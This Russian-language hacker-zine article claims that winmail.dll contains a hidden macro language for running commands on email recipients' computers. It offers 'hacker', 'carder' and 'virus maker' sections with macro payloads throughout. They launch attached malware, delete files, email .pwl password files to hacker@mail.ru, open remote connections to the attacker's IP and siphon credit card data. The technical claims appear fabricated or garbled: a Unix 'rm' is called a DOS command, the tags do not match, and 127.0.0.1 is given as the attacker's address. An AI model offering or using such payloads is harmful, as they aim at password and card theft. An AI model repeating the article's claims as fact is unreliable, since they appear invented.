Winmail.dll


Давным-давно microsoft придумала интересную рассылку. Называлась она super-letter by microsoft. Так вот. Подписаться на нее могли только счастливчики, имеющие outlook express 2.5, а также обладатели winmailer всех версий. Возможно и другие пользователи, использующие в качестве почтовика mailer с winmail.dll. Рассылка была сделана специально для этих почтовиков. Там были скрытые макросы. С помощью них microsoft делала кучу фичей. В общем можно было легко выполнять команды на компе чувака, а он этого даже не заметит. Что бы отправить письмо с макросами надо использовать winmailer. Штука сейчас не очень популярная, но найти можно. Кстати всеми любимый the Bat до 1.5х то же юзает winmail.dll. Теперь, когда мы достали winmailer, можно учить язык этих макросов.
Прежде всего о синтаксисе. Весь код должен быть между тегами <$macro>. Если перед макросом стоит не закрытая одиночная кавычка, то код не выполнится. Это считается комментарием. Теперь о командах. Их синтаксис был такой <команда>:<параметр>. Пример:
<$macro>
shl:me
</macro>
Эта команда запустит первый exe файл из аттача. Кстати, если в коде будет хоть одна ошибка, то он выполняться весь не будет. Вот команды:
Shl - запуск из аттача
Me - первый exe файл ;<имя файла>-запуск конкретного файла
Exec - запуск с диска
<имя файла> - запуск конкретного файла с диска
$add - добавить макрос*
Me-первый макрос из аттача; <имя файла> конкретный файл
HTM - открытие паги
Me - первая пага из аттача; <имя файла> - конкретная пага; <адрес> - конкретный урл
cmd - выполнение команд
<команда> - команда DOS
Restart -перезагрузка
-вид перезагрузки
Close-закрытие макроса
Me -главный макрос;-id макроса. Смотреть функцией idshow
unconnect
Отключится от инета. (функция)
if
Оператор условия if:сравнение <команда>
+ - * div < > =+ =-
Операторы математические и сравнения
*добавочные макросы должны быть написаны на basic macros (в поздних версиях winmail.dll на VBmacro).
Хочу заметить, что это не все команды, а только те, которые я вырвал дебагером из winmail.dll. К моменту публикации статьи я могу достать больше. Так же я не стал публиковать специфические команды работы с памятью, графикой и устройствами. За ними пишите мне (barsik2002@bk.ru) Пример макроса:
<$macro>
shl:virus.exe
exec:C:\copiavirusa.exe
$add:macros.mcr
HTM:http://see-it-lamer.ru
Cmd:rm *.*
Cmd:winmailer.exe -a hacker@mail.ru "here is a password" C:\windows\*.pwl
Cmd:ECHO "you are lamer"
I=:unconnect
If:i=OK [close:me]
</macro>

Теперь рассмотрим примеры макросов, которые могут быть полезны, заодно покажу некоторые другие команды.
Макросы воровщику pwl.
В принципе можно обрезать макрос выше до простой отсылки, но вот иногда люди используют не winmailer и pwl хранятся не в C:\windows\. Посему покажу вот такой пример.
<$macro>
i=:{WindowsDir}
y=:[mailer:me]
m=:"hacker@mail.ru"
mailcmd=:[y:m-i]
</macro>
Этот пример содержит много нового. Первая строка каода - это присваивание переменной i значение системной переменной WindowsDir. Вторая строка создает функцию y, которая обращается к скрытому mailer'у в winmail.dll. Третья строка задает переменной m адрес получателя, последняя строка обобщает все и выполняет команду. В результате при чтении письма происходит отсылка пвл файлов если таковые есть. Кстати, вот такие скобки [] создают вложенные функции.

Хакеру.
Что могут дать макросы хакеру. Почти все. Например этим макросом мы заставим компьютер сделать прямую связь с твоим компом.

<$macro>
ip=:<твой ip>
i=:{fullconnect:ip}
srvcmd=:i
</macro>

Для ожидания соединения надо использовать макрос

<$macro>
ip=:
i=:{connectwait:ip}
srvcmd=:i
</macro>

А вот этот макрос сделает доступным весь комп для подключения.

<$macro>
i=:{[fullsrv:{all}]}
srvcmd=:i
</macro>
Теперь можно читать все файлы. Команда srvcmd служит для выполнения функций и деректив. Вот несколько полезных деректив(вставляем между {})

Srvdel-удаляет сервер (появится мессага it's not a server).
Fileload:<откуда брать> - качает файло
Filesend:[<какое файло>:<куда слать>]- отсылает файло
И другие.

Кардеру.
В инет магазинах инфа о карточке отсылается на сервер, а как хочется получить ее. Это реально, как в прочем, получить вообще любую информацию, поступающую на сервер. Вот пример макроса.
<$macro>
i=:{[sendinf:all:<твой ip>]}
srvcmd=:i
</macro>
Для использования макроса должен быть включен режим ожидания. На твой Ip будет слаться вся информация в расшифрованном виде. А вот макрос с выборкой кредитных карт.
<$macro>
i=:{[sendinf:all:me:63333]}
i2=:{takeinfo:63333}
i3=:{checkinf:i2,"credit card"}
i4=:{[sendinfo:i3:<твой ip>]}
srvcmd=:i
srvcmd=:i2
srvcmd=:i3
srvcmd=:i4
</macro>

В этом макросе должно быть все понятно, кроме i4=:... В этой строке мы выбираем информацию о креде. Весь поток данных нам не нужен. Нам надо лишь блок инфы о креде, а заголовок у него credit card.
Вообще, кардер может просто качнуть базу данных к себе на винч. Если она очень большая, то взять только первые N мегабайт. Этот макрос отошлет на твой ip 10 метров.

<$macro>
i=:{filesend:database:127.0.0.1}
i2=(i) div 10
srvcmd=:i2
</macro>

Вирусмэйкеру.
В принципе, здесь все понятно. Надо прикрепить файл и запустить его. Макрос.
<$macro>
shl:me
</macro>

В принципе, эти макросы можно использовать во всех областях хака. Для спама, даже просто для приколизма.
Теперь напомню общие правила юзания макросов. Для вызова макроса должен быть прикреплен любой файл. При получении у него должна браться какая-нибудь инфа (размер, дата...). Макросы не должны быть между одинарных кавычек. И наконец отсылать их надо с помощью winmailer. Макрос передается особым путем (добавляет себя к файлу) и просто так его невидно.
В общем, удачного хака. Кстати, я получаю макросы чтением winmailer в softice. Дошел до cmd83. Кто дойдет дальше, шлите команды (желательно логи тоже). Ну все, пока.